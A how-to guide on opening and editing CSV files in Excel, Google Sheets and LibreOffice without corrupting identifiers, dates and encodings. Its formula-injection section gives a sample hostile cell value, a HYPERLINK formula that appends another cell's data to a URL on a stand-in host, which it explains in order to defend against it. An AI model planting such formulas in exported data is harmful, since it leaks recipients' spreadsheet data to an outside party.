Opening CSV Files in Excel and Sheets Without Damage

A spreadsheet is the first program most people use to open a CSV, and often the one that damages it. Nothing in the file is wrong. The damage comes from what a spreadsheet is for: it wants every cell to be a number, a date, a boolean or text, and a CSV gives it nothing but characters, so it guesses. The guesses are reasonable for a table of quantities and ruinous for a table of identifiers. This guide explains what is happening, which settings and import routes prevent it, how Excel, Google Sheets and LibreOffice differ, and when you should not use a spreadsheet at all.

What goes wrong, and why

Take a small file with the kinds of columns that cause trouble:

code,zip,serial,gene,note,amount
00123,02134,1234567890123456789,SEPT2,"Café, Paris",10.50
00045,90210,9876543210987654321,MARCH1,plain,1E3

Open it by double-clicking in Excel and you will usually see: 123 and 45 in the first column, 2134 and 90210 in the second, 1.23457E+18 and 9.87654E+18 in the third, dates in the fourth, the accent of "Café" possibly broken, and 1000 in the last cell of the final row. Every one of those is a different rule, and every one starts from the same cause. The file format has no types, so the program supplies them, and its guess turns text that looks numeric into a number, text that looks like a date into a date and text that looks scientific into a quantity.

The conversion happens in the worksheet and not in the file. Closing without saving leaves the original untouched. Saving writes the converted values back: 00123 is now 123, the 19-digit serial is 1234567890123460000, and the gene is a date serial. That is the central rule of this guide: opening a CSV in a spreadsheet is harmless; saving it is an edit, and it is an edit you did not mean to make.

The seven kinds of damage

Seven distinct things go wrong, and each has a separate cause and fix. Learn to recognize them by symptom.

Leading zeros disappear. 00123 becomes 123 because a number has no zeros in front. Zip codes, product codes, phone numbers and account numbers are the classic victims. The full mechanism and the fix are in why Excel drops leading zeros.

Long numbers lose digits. Excel stores at most 15 significant digits. A credit-card-length number, a 19-digit identifier or a 64-bit id has everything after the fifteenth digit replaced by zeros, and it is displayed in scientific notation. The lost digits cannot be recovered from the cell.

Scientific notation. A code like 1E3 or 12E5 (and many product and lot codes) is read as 1 × 10³ and 12 × 10⁵. The text 1E3 is gone from the cell.

Dates appear from nowhere. SEPT2, MARCH1, 1-2, 3/4 and OCT4 are read as dates. A large share of published genomics papers once contained gene names corrupted this way; the gene nomenclature committee eventually renamed the genes. A date in a spreadsheet is a number of days, so the original text is lost.

Day and month swap. 03/04/2024 means March 4 or April 3 depending on the locale of the machine. Opening the same file in two countries produces two different dates, and neither warns you. A spreadsheet that accepts 13/04/2024 as a date and 04/13/2024 as text in the same column is telling you its locale.

Accents turn to garbage. Café shows as Café. The file is UTF-8 and the program read it as Windows-1252, so each two-byte character shows as two odd ones. The file is fine; the import setting is wrong. See opening a UTF-8 CSV in Excel for the byte order mark trick and the import route, and fixing mojibake for the case where the text has already been damaged.

Everything lands in one column. A semicolon-delimited file, standard in many European locales, opens as a single column in a program expecting commas, and a comma-delimited file does the same in a program expecting semicolons. The delimiter a program expects comes from the system's list-separator setting, so the same file behaves differently on two computers.

Import, do not open

The remedy for all seven is the same move: stop letting the program decide. Use the import route, where you choose the encoding, the delimiter and the type of each column.

Excel

On current Microsoft 365: Data > From Text/CSV, choose the file. The preview dialog shows three choices. File origin is the encoding: pick 65001: Unicode (UTF-8) for a UTF-8 file. Delimiter is comma, semicolon, tab or custom. Data type detection has three settings, based on the first 200 rows, on the whole dataset, or none. Choose Do not detect data types to get every column as text, then choose Load, or Transform Data if you want to convert particular columns by hand.

In Transform Data (Power Query), each column has a type in its header. Set identifier columns to Text and quantity columns to Decimal Number, Whole Number or Date. The query remembers the choices, so refreshing from a new version of the file applies them again. That makes Power Query the right tool for a file you open every week: you configure the import once and stop doing it by hand.

Older Excel versions offer the Text Import Wizard, enabled under File > Options > Data > Show legacy data import wizards. Its third step lets you set each column's format to Text, and it is the quickest way to keep zeros on a one-off file.

The shortcut you should avoid is double-clicking the file in Explorer or Finder. That path uses the system defaults and offers none of the above.

Google Sheets

File > Import > Upload, then choose the file. The dialog offers an import location (new sheet, replace, append), a separator type (detect automatically, comma, semicolon, tab, custom) and, importantly, Convert text to numbers, dates, and formulas. Untick it to keep every cell as it is written in the file. Sheets assumes UTF-8, which is correct for most modern files and wrong for a Windows-1252 export; if accents are broken, re-save the file as UTF-8 first (converting Latin-1 and Windows-1252 to UTF-8).

Sheets's locale comes from File > Settings > Locale, and it decides how dates and decimal separators are read. Set it before importing a file from a different region.

LibreOffice Calc

Opening a .csv shows the Text Import dialog by default, which is better than Excel's default. It has the character set, the separators, a quote character and a preview with a per-column type. Click a column in the preview and choose Text from Column type. Tick Detect special numbers off to stop it from interpreting dates and scientific notation. LibreOffice also lets you tick Quote all text cells when you export, which preserves text as text.

Editing safely

Imports solve opening. Editing and saving need their own rules, because a file that opened correctly can still be damaged on its way back.

Edit a workbook, not the CSV. Import into a workbook with text-typed identifier columns, save as .xlsx (or .ods), and do your editing there. The workbook keeps the types, so the zeros survive any number of saves. When you have finished, export a CSV from the workbook as the last step. The CSV is an output, not the working file.

Format identifier columns as Text before typing or pasting. Select the column, set the format to Text, then paste. Pasting into a General column converts the values on arrival. Typing an apostrophe before a value ('00123) stores text for a single cell.

Do not trust the displayed format. A cell formatted as 00000 shows 00123 but holds the number 123; exporting to CSV writes 123 or 00123 depending on the program and the option chosen. Check the exported file rather than the screen.

Beware of CSV UTF-8 versus CSV. Excel offers CSV UTF-8 (Comma delimited) and plain CSV (Comma delimited) in Save As. The first writes UTF-8 with a byte order mark, which Excel reopens correctly. The second writes in the system's legacy code page and silently replaces characters that do not fit with question marks. Always choose the UTF-8 one; the loss in the other is permanent (question marks where the text should be).

Mind the delimiter on export. Excel writes the list separator of the system locale: a semicolon on a machine set to many European regions. A file you thought was comma-separated is not. Open the exported file in a text editor and look at the first line.

Check that formulas were not saved. CSV stores values, not formulas. If a cell computes =A2*B2, the file will contain the result. If a text cell begins with =, +, - or @, some programs treat it as a formula on import, which is both a source of corruption and a security issue (see below).

A checklist that catches the damage

After any round trip through a spreadsheet, compare the output with the input rather than inspecting it by eye. Four checks, all quick.

Row and column counts: wc -l and the count of delimiters in the header. A row lost to a stray quote or an extra column from a comma in an unquoted field both show here.

Identifier columns by length: in DuckDB, SELECT length(code), count(*) FROM read_csv('out.csv', all_varchar=true) GROUP BY 1 should show the widths you expect. A column that should be five characters wide and shows two widths has lost its zeros.

Key set: compare the key column of the original and the saved file as sets (finding rows in one file and not the other). Anything that appears or disappears was changed.

Whole-file comparison on a sorted copy (comparing two CSV files) tells you exactly which cells the spreadsheet touched. If the answer is "none", the round trip was clean. If it is "several hundred in the date column", you have found out cheaply.

Differences between the three programs

The programs agree on the principle and differ in the details that matter.

The 15-digit limit is the same everywhere because it comes from the IEEE 754 double that all three use for numbers; it is not an Excel quirk, and no spreadsheet will keep a 19-digit number as a number.

A recurring file: set it up once

If the same feed arrives every week, do the import once and keep it. In Excel, build a Power Query from Data > From Text/CSV, set the column types in the Transform step, name the query and load it to a table. Next week, replace the source file (or point the query at a folder) and choose Refresh All. The query applies the same encoding, delimiter and types each time, and a column that cannot be converted shows an error cell and not a quiet corruption. For a folder of monthly files, Data > Get Data > From File > From Folder combines them with the headers handled for you. Check the first step of the query, where the file path lives; a query that points at a path on one person's machine breaks when it is shared.

Two settings in the query deserve care. The detect data types step that Power Query adds automatically is itself a guess; delete it and add your own explicit type step. And keep the identifier columns as Text in the final step, since a later "change type" on the whole table can convert them back.

The same file without a spreadsheet

For checking a file, you rarely need a spreadsheet at all. A two-line DuckDB session shows what is in the file with nothing converted:

SELECT * FROM read_csv('data.csv', all_varchar=true) LIMIT 10;
SELECT count(*), count(DISTINCT code), min(length(code)), max(length(code)) FROM read_csv('data.csv', all_varchar=true);

The first prints the first ten rows exactly as written. The second gives the row count, the number of distinct codes and the shortest and longest code; for the example file with 00123 and 00045 the minimum and maximum length are both 5, which tells you the zeros are present in the file. In Python, pd.read_csv("data.csv", dtype=str) does the same. Looking at the data this way before opening it in a spreadsheet tells you whether the damage, if you see any, is in the file or in the program. It also gives you a ground truth to compare with after the round trip.

Troubleshooting by symptom

Find the symptom, then the cause, then the fix.

One long column with commas or semicolons in it. Wrong delimiter. Re-import and choose the delimiter explicitly, or in Excel use Data > Text to Columns on the column. If it keeps happening, the producer is using the other regional separator; agree one.

**Accents look like é, ’ or �.** The file is UTF-8 and was read as a legacy code page (the first two), or it was damaged before you received it (the replacement character). Re-import with UTF-8 selected. If the replacement characters are in the file itself, the original bytes are gone and you need the source.

Numbers on the left of the cell, formulas do not work on them. They are text. For quantities you want numbers: convert the column with Data > Text to Columns > Finish, or multiply by 1, or set the Power Query type. Do this only for columns that are quantities.

Numbers with a comma as the decimal separator are treated as text. The locale of the program expects a point. Import with the correct locale (Power Query has a locale option on the type conversion) or replace the separator before converting.

Dates are swapped or text. The locale disagrees with the file. Convert from an unambiguous text form using the explicit order, or ask the producer for ISO 8601.

Fewer rows than the file has. The sheet limit, or an unbalanced quote that swallowed a stretch of the file into one cell. Count the rows with wc -l on the file and compare; look for a cell with a very long value.

**A cell shows #NAME? or runs something.** A value starting with = was interpreted as a formula. Re-import with conversion off and read the formula injection section above.

The file opens fine for you and not for a colleague. The difference is almost always the locale (delimiter and date order) or the Excel version (UTF-8 handling). Reproduce by importing with the colleague's settings, and fix the file, not their machine.

Which habit to adopt first

If you change one thing, change the double-click. Importing takes about fifteen seconds longer, and it removes the guessing that causes four of the seven kinds of damage. The second habit is to keep a working workbook separate from the exchange file, so that a CSV is only ever written once, from a clean source. The third is the comparison after a round trip, which turns "I think it is fine" into a result. Teams that handle identifiers, such as customer lists, product catalogs and ledgers, usually add a fourth: a written note beside the file saying which columns are text, which are numbers and in what locale the dates were written, so the next person does not have to rediscover it from the damage. A one-page description of the columns costs less than one corrupted import.

Large files

A spreadsheet has a size limit, and a CSV that exceeds it is truncated, usually with a message you have to read. Excel holds 1,048,576 rows and 16,384 columns per sheet. Opening a file with 2 million rows loads the first 1,048,576 and discards the rest, and if you then save, the rest is gone from the file. Google Sheets caps a spreadsheet at 10 million cells in total. If your file is larger than the limit, or large enough that opening is slow, do not use a spreadsheet to edit it: filter, aggregate or split it first with DuckDB or a command-line tool (handling CSV files that are too big) and open the result.

Excel's Power Query can load much larger data into the Data Model without placing it on a sheet, which allows analysis without the row limit, but not editing of the source file.

Formula injection

There is one more risk when a spreadsheet opens a CSV, and it is a security one. A cell whose text begins with =, +, - or @ may be interpreted as a formula by the spreadsheet. A malicious value like =HYPERLINK("http://example.com/?"&A2,"click") in a user-supplied field, exported to CSV by your application and opened by a colleague, runs as a formula in their spreadsheet. The OWASP description calls it CSV injection. If you produce CSV from user-controlled data, prefix any field beginning with those characters with a single quote or a tab, accepting that it changes the data, or tell recipients to import as text. If you receive CSV from outside, import with type detection off and do not enable external content. The quoting that RFC 4180 defines does not prevent it, because quotes are removed on parsing before the cell is evaluated.

When a spreadsheet is the wrong tool

Use the spreadsheet for what it is good at: looking at a few thousand rows, sorting, filtering by eye, charting, quick arithmetic and handing a result to someone who lives in Excel. Avoid it when:

• the file has identifiers that must survive exactly (accounts, codes, keys) and several people will edit it;

• it exceeds a million rows;

• the content is multilingual and you cannot control the encoding of each person's machine;

• you must compare or merge versions (diffing and merging CSV files), because a spreadsheet gives you no diff;

• the file is machine-read by a pipeline next, where a stray conversion is a corrupted load;

• the file is version-controlled, since a spreadsheet's save rewrites quoting, line endings and number formats, and every commit becomes a wall of changes.

For these, read and transform the file with SQL or a script, where types are explicit and every run produces the same bytes. A short DuckDB query that selects, filters and writes the result is repeatable, and a spreadsheet session is not.

Giving a CSV to someone who will use Excel

If you produce the file and your recipient will double-click it, you control more than you think. Choose encoding and structure that survive the double-click:

• UTF-8 with a byte order mark, so Excel recognizes the encoding (the BOM is harmless to most modern readers, although not to all; see the encoding article above);

• a comma delimiter, unless the audience is in a semicolon locale, in which case say so;

• ISO 8601 dates (2024-03-04), which Excel reads as dates in every locale and which are unambiguous;

• decimal points rather than commas, and no thousands separators;

• identifiers as the producer's problem: either deliver an .xlsx with text columns, or write the CSV exactly and include a one-line instruction to use Data > From Text/CSV and set the columns to Text.

The most reliable gift to an Excel user is a workbook. A CSV is the right format for exchange between programs and a poor one for human editing, and the more your reader depends on the double-click, the more the file should be an .xlsx and not a CSV. Keep the CSV as the machine-readable twin, and describe it in a data dictionary (documenting a CSV schema).

Turning a spreadsheet back into a clean CSV

Going the other way has its own checklist. Export from the workbook, not from a sheet you have been cleaning by hand. Check that no cell contains a stray newline, a leading or trailing space or a formula. Choose the UTF-8 option. Open the result in a text editor, confirm the delimiter and the first rows, and run the same four checks as above against the previous version. For a repeatable conversion, script it with a library that reads the workbook cell by cell and writes a CSV with explicit quoting, as in converting an Excel file to CSV. The script does the same thing every time, and a person with a mouse does not.

How to tell it worked

Three tests establish that a round trip is clean. First, the identity test: import a CSV, export it without edits, and compare with the original; the files should match, apart from agreed differences such as line endings, and any differing cell is a conversion you must explain. Second, the canary test: keep a small file of nasty values (a zero-padded code, a 19-digit number, 1E3, SEPT2, an accented name, a quoted comma, an embedded newline) and run it through the process whenever you change a setting or a machine. If all survive, the process is safe for your data. Third, the second-machine test: have a colleague in another locale open the exported file; a date or decimal that changes between machines is a format problem in your export.

The short version

Do not double-click CSV files that contain identifiers. Import them, choose the encoding and the delimiter yourself, read everything as text and convert only the columns you can name as quantities. Edit in a workbook and export a CSV at the end. After any round trip, compare against the original. Choose a spreadsheet only when the file is small enough, the content simple enough and the audience human enough to deserve one, and use SQL or a script for everything else.

Further reading: RFC 4180; Microsoft: import or export text files; OWASP: CSV injection; Google Sheets: import data.